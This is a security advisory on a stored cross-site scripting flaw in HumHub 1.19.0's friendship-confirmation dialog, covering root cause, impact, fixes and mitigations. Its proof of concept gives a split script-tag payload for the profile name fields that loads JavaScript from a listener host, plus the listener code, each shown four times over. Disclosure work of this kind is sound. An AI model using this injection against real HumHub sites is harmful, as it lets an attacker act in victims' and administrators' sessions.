HumHub 1.19.0 - Stored XSS in friendship confirmation

7.2

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Abstract

Fluid Attacks' AI SAST detected CVE-2026-115541, a high-severity stored cross-site scripting (XSS) vulnerability (CWE-79) in HumHub Community Edition 1.19.0. An authenticated attacker can execute malicious JavaScript in other users' browsers through friendship confirmation dialogs. It has a CVSS v4.0 base score of 7.2. Upgrade to HumHub 1.18.7 or 1.19.2. This advisory includes a proof of concept.

Summary

Full name

HumHub Community Edition 1.19.0 - Stored XSS through profile display names in friendship confirmation

Code name

State

Public

Release date

Affected product

HumHub

Vendor

HumHub

Affected version(s)

1.19.0

Fixed version(s)

1.18.7 and 1.19.1

Vulnerability name

Stored cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

7.2

Exploit available

Yes

Description

HumHub 1.19.0 contains a stored cross-site scripting vulnerability in the friendship-confirmation dialog. An authenticated low-privileged member can save HTML in their own first and last name. When another authenticated member opens that user's profile or listing and selects Friends, HumHub inserts the attacker's display name into a confirmation dialog as HTML.

The script executes in the victim's authenticated HumHub origin. Therefore, it can perform same-origin actions that the victim is permitted to perform. If the victim is a system administrator, this can include administrative actions such as creating or modifying accounts.

Vulnerability

Root cause

Profile::rules() only trims firstname and lastname; it does not prohibit HTML. User::getDisplayName() then concatenates these attacker-controlled fields without output encoding. FriendshipButton deliberately adds a <strong> element around this value and stores the resulting HTML in data-action-confirm.

Escaping performed while serializing the attribute is not a defense for this later HTML context. On click, the JavaScript modal retrieves the decoded attribute through jQuery's .data('action-confirm') and sends it to Modal.prototype.setBody(), which calls $body.html(content). Thus, browser parsing interprets attacker-controlled markup.

This is not intended rich-text behavior: first and last name are ordinary editable profile fields, and the friendship dialog is a confirmation prompt. The application-created <strong> markup does not authorize a member to inject arbitrary markup or script in another user's browser.

Source-to-sink path

  1. An authenticated member writes a payload to their own editable Profile[firstname] and Profile[lastname]. The profile model applies only trim to these attributes (protected/humhub/modules/user/models/Profile.php:76-80).

  2. User::getDisplayName() concatenates the two stored values (protected/humhub/modules/user/models/User.php:744-755).

  3. The friendship button builds data-action-confirm with the display name inside <strong> (protected/humhub/modules/friendship/widgets/FriendshipButton.php:121-130). The same unsafe pattern is used for ending an existing friendship at lines 110-120.

  4. A victim clicking the friendship button reaches ui.modal.confirm() (protected/humhub/resources/js/humhub/humhub.action.js:527-538). humhub.ui.modal.js obtains the attribute as the confirmation body (:792-808).

  5. ConfirmModal.open() calls setBody() (protected/humhub/resources/js/humhub/humhub.ui.modal.js:540-560), and setBody() executes $body.html(content) (:472-479). This is the HTML injection sink.

Impact

When the victim opens the friendship-confirmation dialog for the attacker, attacker-controlled JavaScript executes in the victim's authenticated HumHub origin. The script therefore has the same browser-side authority as the victim for same-origin requests and data that the victim can access through the application.

An attacker can use this execution to read application content exposed to the victim's browser, invoke HumHub actions that the victim is authorized to perform, or modify data within the victim's available permissions.

PoC

Preconditions

Use a local HumHub 1.19.0 instance at http://127.0.0.1:8081, a disposable MariaDB instance, and a harmless external script listener at 127.0.0.1:8090. Friendship must be enabled, and the tester needs one disposable system-administrator account, one ordinary attacker account, and a victim account able to view the attacker's People entry.

Step-by-step

  1. Start with a clean local checkout of HumHub Community Edition 1.19.0. Use Docker Compose with three services: web, cron, and db (MariaDB 11.8). Publish the web service only on 127.0.0.1:8081; do not publish the database to the host.

  2. Start the local stack with the deployment helper:

    The helper builds the checkout and starts the Compose project. Confirm that web, cron, and db are running before continuing.

  3. Browse to http://127.0.0.1:8081 and complete the standard HumHub installer with the database connection configured for the isolated deployment. Create a disposable system-administrator account solely to initialize the instance and create the low-privileged attacker account.

  4. Select the My club installer profile, or otherwise enable Allow friendships between members. This is essential: if friendship is disabled, FriendshipButton::isVisibleForUser() does not expose the vulnerable button.

  5. Create a benign external proof script in a temporary directory as a.js. It only records execution in the DOM and presents a visible banner; it does not access data or issue requests:

    (() => {
      const marker = 'HUMHUB_FRIENDSHIP_XSS_EXECUTED';
      document.documentElement.dataset.humhubFriendshipXss = marker;
      console.log(marker, window.location.origin);
      const banner = document.createElement('div');
      banner.textContent = `${marker} — ${window.location.origin}`;
      banner.style.cssText = 'position:fixed;z-index:99999;top:0;left:0;padding:12px;background:#b02a37;color:#fff;font:16px sans-serif';
      document.body.prepend(banner);
    })();
    (() => {
      const marker = 'HUMHUB_FRIENDSHIP_XSS_EXECUTED';
      document.documentElement.dataset.humhubFriendshipXss = marker;
      console.log(marker, window.location.origin);
      const banner = document.createElement('div');
      banner.textContent = `${marker} — ${window.location.origin}`;
      banner.style.cssText = 'position:fixed;z-index:99999;top:0;left:0;padding:12px;background:#b02a37;color:#fff;font:16px sans-serif';
      document.body.prepend(banner);
    })();
    (() => {
      const marker = 'HUMHUB_FRIENDSHIP_XSS_EXECUTED';
      document.documentElement.dataset.humhubFriendshipXss = marker;
      console.log(marker, window.location.origin);
      const banner = document.createElement('div');
      banner.textContent = `${marker} — ${window.location.origin}`;
      banner.style.cssText = 'position:fixed;z-index:99999;top:0;left:0;padding:12px;background:#b02a37;color:#fff;font:16px sans-serif';
      document.body.prepend(banner);
    })();
    (() => {
      const marker = 'HUMHUB_FRIENDSHIP_XSS_EXECUTED';
      document.documentElement.dataset.humhubFriendshipXss = marker;
      console.log(marker, window.location.origin);
      const banner = document.createElement('div');
      banner.textContent = `${marker} — ${window.location.origin}`;
      banner.style.cssText = 'position:fixed;z-index:99999;top:0;left:0;padding:12px;background:#b02a37;color:#fff;font:16px sans-serif';
      document.body.prepend(banner);
    })();
  6. In the same directory, create server_poc.py with the following content. It uses ThreadingHTTPServer and maps /a to a.js; the short URL keeps the complete script tag within HumHub's default name-field limits.

    from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
    from urllib.parse import urlsplit
    
    ROUTES = {'/a': '/a.js'}
    
    class PocHandler(SimpleHTTPRequestHandler):
        def do_GET(self):
            request_path = urlsplit(self.path).path
            if request_path in ROUTES:
                self.path = ROUTES[request_path]
            super().do_GET()
    
    ThreadingHTTPServer(('127.0.0.1', 8090), PocHandler).serve_forever()
    from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
    from urllib.parse import urlsplit
    
    ROUTES = {'/a': '/a.js'}
    
    class PocHandler(SimpleHTTPRequestHandler):
        def do_GET(self):
            request_path = urlsplit(self.path).path
            if request_path in ROUTES:
                self.path = ROUTES[request_path]
            super().do_GET()
    
    ThreadingHTTPServer(('127.0.0.1', 8090), PocHandler).serve_forever()
    from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
    from urllib.parse import urlsplit
    
    ROUTES = {'/a': '/a.js'}
    
    class PocHandler(SimpleHTTPRequestHandler):
        def do_GET(self):
            request_path = urlsplit(self.path).path
            if request_path in ROUTES:
                self.path = ROUTES[request_path]
            super().do_GET()
    
    ThreadingHTTPServer(('127.0.0.1', 8090), PocHandler).serve_forever()
    from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
    from urllib.parse import urlsplit
    
    ROUTES = {'/a': '/a.js'}
    
    class PocHandler(SimpleHTTPRequestHandler):
        def do_GET(self):
            request_path = urlsplit(self.path).path
            if request_path in ROUTES:
                self.path = ROUTES[request_path]
            super().do_GET()
    
    ThreadingHTTPServer(('127.0.0.1', 8090), PocHandler).serve_forever()
  7. Start the proof server and verify that the short route serves JavaScript:

    Open http://127.0.0.1:8090/a in the same browser environment used for the victim. It must return a.js before proceeding.

  8. While signed in as the disposable administrator, open Administration → Users → Add new user. Create an ordinary member account (for example, friendAttacker). Do not grant it administrator, Space-administration, or friendship-management privileges.

  9. Sign out of the administrator account and sign in as the new ordinary member. Open Account → Profile. Confirm that the member can modify their own standard first-name and last-name fields.

  10. Store the following split payload exactly, then save the profile:

First name: <script src=
Last name: //127.0.0.1:8090/a></script>
First name: <script src=
Last name: //127.0.0.1:8090/a></script>
First name: <script src=
Last name: //127.0.0.1:8090/a></script>
First name: <script src=
Last name: //127.0.0.1:8090/a></script>

HumHub joins the fields with one space, so the resulting display name is:

<script src= //127.0.0.1:8090/a></script>
<script src= //127.0.0.1:8090/a></script>
<script src= //127.0.0.1:8090/a></script>
<script src= //127.0.0.1:8090/a></script>

Splitting the tag is deliberate: the default profile-field configuration limits firstname to 20 characters and lastname to 30 characters. After saving, confirm that the payload is persisted in the attacker's People card.
11. Sign out of the attacker account. Sign in as the disposable administrator or another authenticated victim account that can view People entries. Do not alter the attacker's profile or establish a friendship first.
12. Open People from the top navigation. Locate the attacker card, whose name is rendered as the stored split payload, and click its Friends button. This action opens the normal confirmation dialog for sending a friendship request.
13. Observe the result immediately when the Confirm Action modal opens. Do not click the modal's Confirm button: the external proof script executes while the modal body is constructed. Successful execution displays the red HUMHUB_FRIENDSHIP_XSS_EXECUTED banner and sets document.documentElement.dataset.humhubFriendshipXss to the same value.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-115541 to refer to this issue from now on.

Disclosure policy

System information

  • Vendor: HumHub

  • Product: HumHub Community Edition

  • Version: 1.19.0

  • Operating System: Any

References

Solution and Workaround

Solution

Upgrade installations on the 1.18 maintenance line to 1.18.7 or later. Installations on the 1.19 line should upgrade to 1.19.2 or later; 1.19.3 is the current release. HumHub fixed the issue in 1.18.7 and 1.19.1, but 1.19.1 was not published as a separate release, making 1.19.2 the minimum available fixed release for that line.

After the upgrade, confirm the deployed version and regression-test both the send friendship request and end friendship dialogs. Use a disposable account whose first or last name contains harmless HTML metacharacters, such as <, >, &, and quotes. The confirmation dialog must display those characters as literal text; it must not create an element or execute script.

Workaround and temporary mitigation

Until the upgrade is complete, disable Enable user friendship system under Administration → Settings → General. If friendships must remain enabled, change the display-name format to username under Administration → Settings → Appearance; this prevents the affected first-name/last-name display-name path from reaching the confirmation dialog.

Review existing first-name and last-name values for HTML markup and remove unsafe values. Restrict profile editing to trusted users while the mitigation is in place. For maintained forks that cannot upgrade immediately, apply the vendor patch or ensure that the display name is encoded before it is inserted into the confirmation HTML. These mitigations reduce exposure but do not replace upgrading to a fixed release.

Credits

The vulnerability was detected by AI SAST Scanner and disclosed by Miguel Gómez from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.